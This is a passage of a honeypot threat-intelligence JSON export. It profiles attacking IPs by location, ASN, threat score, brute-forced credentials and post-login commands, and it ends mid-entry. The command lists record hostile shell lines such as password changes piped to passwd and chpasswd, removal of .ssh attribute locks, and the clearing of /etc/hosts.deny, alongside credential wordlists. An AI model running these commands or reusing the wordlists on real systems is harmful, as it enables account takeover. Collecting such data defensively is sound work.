        "total_events_30d": 443,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T09:51:35.177000+00:00",
        "last_seen_30d": "2026-03-17T13:10:16.311000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 335,
        "Suricata": 108
      }
    },
    "220.119.37.141": {
      "attack_count": 326,
      "first_seen": "2026-03-24T05:46:33.209Z",
      "last_seen": "2026-03-24T06:07:12.808Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ftpuser",
        "george",
        "user02",
        "vagrant",
        "botuser",
        "java",
        "otrs",
        "saeed",
        "syncthing",
        "tian"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "George123!",
        "Otrs123",
        "ftpuser#2025",
        "javapass",
        "password",
        "syncthingpass",
        "vagrantpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nQJFN9MCWRZac\\nQJFN9MCWRZac\\n\"|passwd",
        "echo \"George123!\\nqtjvS06XcHdU\\nqtjvS06XcHdU\\n\"|passwd",
        "echo \"ftpuser#2025\\nIyeZFyhklzmD\\nIyeZFyhklzmD\\n\"|passwd",
        "echo \"vagrantpass\\nf215rA8Wth6u\\nf215rA8Wth6u\\n\"|passwd",
        "echo -e \"123\\nQJFN9MCWRZac\\nQJFN9MCWRZac\"|passwd|bash",
        "echo -e \"George123!\\nqtjvS06XcHdU\\nqtjvS06XcHdU\"|passwd|bash",
        "echo -e \"ftpuser#2025\\nIyeZFyhklzmD\\nIyeZFyhklzmD\"|passwd|bash",
        "echo -e \"vagrantpass\\nf215rA8Wth6u\\nf215rA8Wth6u\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suyeong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T05:46:33.209000+00:00",
        "last_seen_30d": "2026-03-24T06:08:18.567000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 326,
        "Suricata": 40
      }
    },
    "203.145.34.165": {
      "attack_count": 282,
      "first_seen": "2026-03-20T23:41:08.477Z",
      "last_seen": "2026-03-26T05:43:52.437Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "server",
        "downloader",
        "stats",
        "abe",
        "admin",
        "aroot",
        "forge",
        "kingbase",
        "lorenzo",
        "pentaho",
        "tunnel",
        "vastest",
        "vipin",
        "zhouxin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "Aa1234567890",
        "Aroot123",
        "Downloader123!",
        "Lorenzo123!",
        "abe123",
        "kingbasepass",
        "password",
        "pentaho",
        "server10",
        "stats",
        "tunnel",
        "vastest",
        "vipin",
        "zhouxin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Downloader123!\\nsqQ0Vo9l9w5E\\nsqQ0Vo9l9w5E\\n\"|passwd",
        "echo \"server10\\nL4WYUuqJ1nFt\\nL4WYUuqJ1nFt\\n\"|passwd",
        "echo \"stats\\nQADXWKfkGdCY\\nQADXWKfkGdCY\\n\"|passwd",
        "echo -e \"Downloader123!\\nsqQ0Vo9l9w5E\\nsqQ0Vo9l9w5E\"|passwd|bash",
        "echo -e \"server10\\nL4WYUuqJ1nFt\\nL4WYUuqJ1nFt\"|passwd|bash",
        "echo -e \"stats\\nQADXWKfkGdCY\\nQADXWKfkGdCY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T23:41:08.477000+00:00",
        "last_seen_30d": "2026-03-26T05:44:52.919000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 53
      }
    },
    "162.19.250.18": {
      "attack_count": 247,
      "first_seen": "2026-03-04T12:02:43.875Z",
      "last_seen": "2026-03-13T12:40:19.043Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "colin",
        "boom",
        "bounce",
        "claude",
        "itadmin",
        "mohsen",
        "nikhil",
        "ss",
        "tian",
        "ubuntu"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "$RFV4rfv",
        "123456",
        "123456789",
        "321",
        "Admin!@#",
        "Admin123$",
        "Asdf1234.",
        "Bingo@1993",
        "Ck123456@",
        "Itadmin123",
        "Ly123456",
        "ROOT1234",
        "Tian123",
        "athena2025",
        "q12we34rt56y",
        "roottoor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nkBSXNlrXIXfd\\nkBSXNlrXIXfd\\n\"|passwd",
        "echo \"root:dL7M5HuyY3lK\"|chpasswd|bash",
        "echo -e \"password\\nkBSXNlrXIXfd\\nkBSXNlrXIXfd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:02:43.875000+00:00",
        "last_seen_30d": "2026-03-13T12:41:27.850000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 60
      }
    },
    "212.192.31.244": {
      "attack_count": 247,
      "first_seen": "2026-03-02T19:36:32.064Z",
      "last_seen": "2026-03-05T19:42:58.856Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aman",
        "admin1",
        "anders",
        "boom",
        "forge",
        "online",
        "openeuler",
        "portal",
        "qbtuser",
        "roots",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1233218613",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123qazQAZ",
        "12QWaszx",
        "1Q2w3e4r5t6y",
        "666888",
        "Aa11111111",
        "Aa123123",
        "Comtom@2024",
        "Forge123!",
        "Kk123456@",
        "R00t1234",
        "Wn123456",
        "aman123",
        "boom123!",
        "openeuler123",
        "passw0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"aman123\\nyKXfIEfaQUeL\\nyKXfIEfaQUeL\\n\"|passwd",
        "echo \"root:4bi9xLBvh9HU\"|chpasswd|bash",
        "echo -e \"aman123\\nyKXfIEfaQUeL\\nyKXfIEfaQUeL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 199785,
      "as_org": "Cloud Hosting Solutions, Limited.",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T19:36:32.064000+00:00",
        "last_seen_30d": "2026-03-05T19:44:00.563000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 60
      }
    },
    "188.166.150.125": {
      "attack_count": 240,
      "first_seen": "2026-03-18T13:30:21.396Z",
      "last_seen": "2026-03-18T14:15:41.551Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "debian",
        "daemon",
        "backup"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "21",
        "321",
        "P455word",
        "P@$word",
        "Pa$w0rd",
        "Pa$word",
        "Pa55w0rd",
        "Pa55word",
        "Password",
        "admin12",
        "backup12",
        "daemon",
        "daemon1"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 344,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T13:30:21.396000+00:00",
        "last_seen_30d": "2026-03-18T14:16:48.220000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 240,
        "Suricata": 104
      }
    },
    "186.10.86.130": {
      "attack_count": 236,
      "first_seen": "2026-03-31T15:20:41.701Z",
      "last_seen": "2026-03-31T16:36:15.506Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1qaz@wsx2024",
        "234wer",
        "5rdx6tfc",
        "Aa123123..",
        "April2025",
        "Kc123456",
        "Ld123123",
        "Qq123123",
        "Roland2025",
        "Y4k1nm4suk.2026",
        "barney",
        "cq123456",
        "crystal",
        "developer123",
        "reza@123",
        "roland",
        "tbucket",
        "windows123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:WdWJjNT8ebJN\"|chpasswd|bash",
        "echo \"root:sb9xIcKLTeiE\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 27651,
      "as_org": "ENTEL CHILE S.A.",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:20:41.701000+00:00",
        "last_seen_30d": "2026-03-31T16:37:23.437000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "103.118.114.22": {
      "attack_count": 217,
      "first_seen": "2026-03-14T19:13:25.110Z",
      "last_seen": "2026-03-14T19:36:13.649Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kevin",
        "n",
        "username",
        "den",
        "deployuser",
        "docker",
        "erpuser",
        "kobo",
        "manish",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@2025",
        "Deployuser123!",
        "Docker123!",
        "Kevin123!",
        "denpass",
        "erpuser",
        "manish123",
        "npass",
        "password",
        "username"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Kevin123!\\nkdGoZcNTVBJ8\\nkdGoZcNTVBJ8\\n\"|passwd",
        "echo \"npass\\nGsTyTxe2DgLz\\nGsTyTxe2DgLz\\n\"|passwd",
        "echo \"username\\naAYbeCsGAsNY\\naAYbeCsGAsNY\\n\"|passwd",
        "echo -e \"Kevin123!\\nkdGoZcNTVBJ8\\nkdGoZcNTVBJ8\"|passwd|bash",
        "echo -e \"npass\\nGsTyTxe2DgLz\\nGsTyTxe2DgLz\"|passwd|bash",
        "echo -e \"username\\naAYbeCsGAsNY\\naAYbeCsGAsNY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137135,
      "as_org": "Pc Care Airway Infratel Private Limited",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 253,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T19:13:25.110000+00:00",
        "last_seen_30d": "2026-03-14T19:37:20.854000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 36
      }
    },
    "57.128.190.44": {
      "attack_count": 217,
      "first_seen": "2026-03-05T05:52:12.621Z",
      "last_seen": "2026-03-26T11:29:30.944Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sami",
        "github-runner",
        "jun",
        "k8suser",
        "ravi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234567812345678",
        "123456qq!",
        "ABCabc456",
        "Asd@12345",
        "Bingo@1993",
        "Root@123..",
        "Welcome@12345",
        "Ww123456.",
        "bot",
        "github-runnerpass",
        "k8suser",
        "password",
        "qq.123",
        "root12345",
        "sami123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:kpkSZcUgU5Zr\"|chpasswd|bash",
        "echo \"sami123\\nvTTI1pI5ddkU\\nvTTI1pI5ddkU\\n\"|passwd",
        "echo -e \"sami123\\nvTTI1pI5ddkU\\nvTTI1pI5ddkU\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 45.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.2,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:52:12.621000+00:00",
        "last_seen_30d": "2026-03-26T11:30:31.405000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 46
      }
    },
    "103.82.27.19": {
      "attack_count": 215,
      "first_seen": "2026-03-26T05:37:33.109Z",
      "last_seen": "2026-03-29T07:20:56.365Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "112233",
        "123123",
        "123321",
        "12345",
        "1234567",
        "1234567890",
        "admin",
        "admin12345",
        "admin@123",
        "p@ssw0rd",
        "qwerty",
        "secret",
        "ubuntu",
        "1234",
        "123456",
        "Admin123",
        "admin1234",
        "iloveyou",
        "myspace",
        "nm"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 349,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T05:37:33.109000+00:00",
        "last_seen_30d": "2026-03-29T07:21:59.563000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 215,
        "Suricata": 134
      }
    },
    "103.243.26.174": {
      "attack_count": 213,
      "first_seen": "2026-03-20T15:22:41.911Z",
      "last_seen": "2026-03-20T15:57:27.907Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ankit",
        "mininet",
        "root",
        "alumno",
        "ds",
        "geonode",
        "interview",
        "lsfadmin",
        "public",
        "sa",
        "server1",
        "slave",
        "sonarr",
        "star"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "Aa@12345678",
        "Geonode123",
        "Lsfadmin123!",
        "Sa123!",
        "ankitpassword",
        "ds@123",
        "interview123",
        "mininetpass",
        "qwert",
        "slave123",
        "sonarr"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ankitpassword\\nf78j56UegMz9\\nf78j56UegMz9\\n\"|passwd",
        "echo \"mininetpass\\n9lmGWDxYfcxZ\\n9lmGWDxYfcxZ\\n\"|passwd",
        "echo -e \"ankitpassword\\nf78j56UegMz9\\nf78j56UegMz9\"|passwd|bash",
        "echo -e \"mininetpass\\n9lmGWDxYfcxZ\\n9lmGWDxYfcxZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Overcasts Limited",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T15:22:41.911000+00:00",
        "last_seen_30d": "2026-03-20T15:58:30.820000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "165.22.125.112": {
      "attack_count": 193,
      "first_seen": "2026-03-10T10:31:29.829Z",
      "last_seen": "2026-03-10T10:49:52.631Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ankit",
        "centos7",
        "clawd",
        "deployer",
        "informatica",
        "iot",
        "jirka",
        "labs",
        "mosquitto",
        "test01",
        "user001"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "12345678",
        "Informatica123!",
        "Iot123!",
        "Test01123",
        "ankit1234",
        "deployer1234",
        "user001123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nkkCInWgsEHxk\\nkkCInWgsEHxk\\n\"|passwd",
        "echo \"ankit1234\\nk330zYncONfp\\nk330zYncONfp\\n\"|passwd",
        "echo -e \"12345\\nkkCInWgsEHxk\\nkkCInWgsEHxk\"|passwd|bash",
        "echo -e \"ankit1234\\nk330zYncONfp\\nk330zYncONfp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:31:29.829000+00:00",
        "last_seen_30d": "2026-03-10T10:51:02.359000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "116.110.12.227": {
      "attack_count": 192,
      "first_seen": "2026-03-02T02:33:06.399Z",
      "last_seen": "2026-03-02T02:49:05.357Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "george",
        "guest1",
        "helpdesk",
        "joggler",
        "joro",
        "kim",
        "library",
        "matrix",
        "newadmin",
        "office",
        "plex",
        "psybnc",
        "software"
      ],
      "passwords_attempted": [
        "admin",
        "1111",
        "12345678",
        "72ca06",
